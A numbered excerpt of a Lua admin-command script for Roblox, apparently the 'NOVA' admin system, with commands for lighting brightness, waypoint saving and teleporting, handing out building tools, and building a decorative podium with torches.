  4826. function(Msg,Speaker)
  4827. NOVA.Services.Lighting.Brightness = tonumber(Msg)
  4828. end
  4829. )
  4830. AddCommand("Set Waypoint","setwaypoint",1,"Sets a waypoint.","<StringValue>",
  4831. function(Msg,Speaker)
  4832. pcall(function()
  4833. Rtn = CFrame.new(
  4834. Speaker.Character.Torso.CFrame.x,
  4835. Speaker.Character.Torso.CFrame.y,
  4836. Speaker.Character.Torso.CFrame.z
  4837. )
  4838. table.insert(NOVA.Waypoints,{Name = Msg,CFrame = Rtn})
  4839. end)
  4840. end
  4841. )
  4842. AddCommand("Goto","goto",0,"Teleports you to a selected waypoint.","No Arguments",
  4843. function(Msg,Speaker)
  4844. for _,v in pairs(NOVA.Waypoints) do
  4845. Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil,function()
  4846. pcall(function()
  4847. RemoveTablets(Speaker)
  4848. Speaker.Character.Torso.CFrame = v.CFrame
  4849. end)
  4850. end)
  4851. end
  4852. Output("Dismiss",NOVA.Colors.Red,Speaker)
  4853. end
  4854. )
  4855. AddCommand("Remove Waypoint","rwaypoint",1,"Removes the selected waypoint(s).","No Arguments",
  4856. function(Msg,Speaker)
  4857. Rtn = {}
  4858. for num,v in pairs(NOVA.Waypoints) do
  4859. Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil,function()
  4860. table.insert(Rtn,num)
  4861. end)
  4862. end
  4863. Output("Done",NOVA.Colors.Green,Speaker,nil,function()
  4864. RemoveTablets(Speaker)
  4865. for _,v in pairs(Rtn) do
  4866. table.remove(NOVA.Waypoints,v)
  4867. end
  4868. end)
  4869. Output("Dismiss",NOVA.Colors.Red,Speaker)
  4870. end
  4871. )
  4872. AddCommand("Give Build Tools","givebtools",1,"Gives the selected player building tools.","<Player>",
  4873. function(Msg,Speaker)
  4874. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4875. pcall(function()
  4876. for i=0,3 do
  4877. Instance.new("HopperBin",v.Backpack).BinType = i
  4878. end
  4879. end)
  4880. end
  4881. end
  4882. )
  4883. AddCommand("Podium","podium",3,"Generates a podium infront of your character.","No Arguments",
  4884. function(Msg,Speaker)
  4885. local MainColor = Color3.new(0,0,0)
  4886. local SeccondaryColor = Color3.new(0.69,0.13,0.13)
  4887. local Main = Instance.new("Model",workspace) Main.Name = "NOVA Podium"
  4888. local MainCFrame = Speaker.Character.Torso.CFrame
  4889. * CFrame.new(0,-4,0)
  4890. + Speaker.Character.Torso.CFrame.lookVector*3
  4891. local SeccondaryCFrame = Speaker.Character.Torso.CFrame
  4892. * CFrame.new(0,-4 + (25 * 0.9),((2 * 25) * -1) - 10 )
  4893. + Speaker.Character.Torso.CFrame.lookVector*3
  4894. if CFrame == nil then return end
  4895. coroutine.resume(coroutine.create(function()
  4896.  
  4897. for i=1,25 do
  4898. wait()
  4899. local Step = Instance.new("Part",Main)
  4900. Step.FormFactor = "Custom"
  4901. Step.Name = "Step"
  4902. Step.Anchored = true
  4903. Step.Locked = true
  4904. Step.Reflectance = 0
  4905. Step.TopSurface = "Smooth"
  4906. Step.BottomSurface = "Smooth"
  4907. Step.BrickColor = BrickColor.new(SeccondaryColor)
  4908. Step.Size = Vector3.new(6,1,3)
  4909. Step.CFrame = MainCFrame * CFrame.new(0,(i*0.9), i * (-2))
  4910. Instance.new("BlockMesh",Step)
  4911.  
  4912. local Carpet = Instance.new("Part",Main)
  4913. Carpet.FormFactor = "Custom"
  4914. Carpet.Name = "Carpet"
  4915. Carpet.Anchored = true
  4916. Carpet.Locked = true
  4917. Carpet.Reflectance = 0
  4918. Carpet.TopSurface = "Smooth"
  4919. Carpet.BottomSurface = "Smooth"
  4920. Carpet.BrickColor = BrickColor.new(MainColor)
  4921. Carpet.Size = Vector3.new(4,1,3.2)
  4922. Carpet.CFrame = MainCFrame * CFrame.new(0,(i*0.9)+ 0.1, i * (-2))
  4923. Instance.new("BlockMesh",Carpet)
  4924. end
  4925. local MainCirc = Instance.new("Part",Main)
  4926. MainCirc.FormFactor = "Custom"
  4927. MainCirc.Name = "MainCirc"
  4928. MainCirc.Anchored = true
  4929. MainCirc.Locked = true
  4930. MainCirc.Reflectance = 0
  4931. MainCirc.TopSurface = "Smooth"
  4932. MainCirc.BottomSurface = "Smooth"
  4933. MainCirc.BrickColor = BrickColor.new(SeccondaryColor)
  4934. MainCirc.Size = Vector3.new(20,1,20)
  4935. MainCirc.CFrame = SeccondaryCFrame
  4936. Instance.new("CylinderMesh",MainCirc)
  4937.  
  4938. local SeccondaryCirc = Instance.new("Part",Main)
  4939. SeccondaryCirc.FormFactor = "Custom"
  4940. SeccondaryCirc.Name = "SeccondaryCirc"
  4941. SeccondaryCirc.Anchored = true
  4942. SeccondaryCirc.Locked = true
  4943. SeccondaryCirc.Reflectance = 0
  4944. SeccondaryCirc.TopSurface = "Smooth"
  4945. SeccondaryCirc.BottomSurface = "Smooth"
  4946. SeccondaryCirc.BrickColor = BrickColor.new(MainColor)
  4947. SeccondaryCirc.Size = Vector3.new(18,1,18)
  4948. SeccondaryCirc.CFrame = SeccondaryCFrame * CFrame.new(0,0.1,0)
  4949. Instance.new("CylinderMesh",SeccondaryCirc)
  4950. for i=1,math.floor(360/6) do
  4951. local Spike = Instance.new("Part",Main)
  4952. Spike.FormFactor = "Custom"
  4953. Spike.Name = "Spike"
  4954. Spike.Anchored = true
  4955. Spike.Locked = true
  4956. Spike.Reflectance = 0
  4957. Spike.TopSurface = "Smooth"
  4958. Spike.BottomSurface = "Smooth"
  4959. Spike.BrickColor = BrickColor.new(MainColor)
  4960. Spike.Size = Vector3.new(1,7,1)
  4961. Spike.CFrame = SeccondaryCFrame
  4962. * CFrame.Angles(math.rad(0),math.rad((360/6)*i),math.rad(45))
  4963. * CFrame.new(7,-7,0)
  4964. Torch = Instance.new("Part",Main)
  4965. Torch.Reflectance = 1e+999
  4966. Torch.FormFactor = "Custom"
  4967. Torch.Shape = "Ball"
  4968. Torch.Anchored = true
  4969. Torch.Locked = true
  4970. Torch.Size = Vector3.new(2,2,2)
  4971. Torch.CFrame = Spike.CFrame
  4972. * CFrame.new(0,3.5,0)
  4973. * CFrame.Angles(0,0,0)
  4974. Instance.new("Fire",Torch)
  4975. end
  4976. end))
  4977. end
  4978. )
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement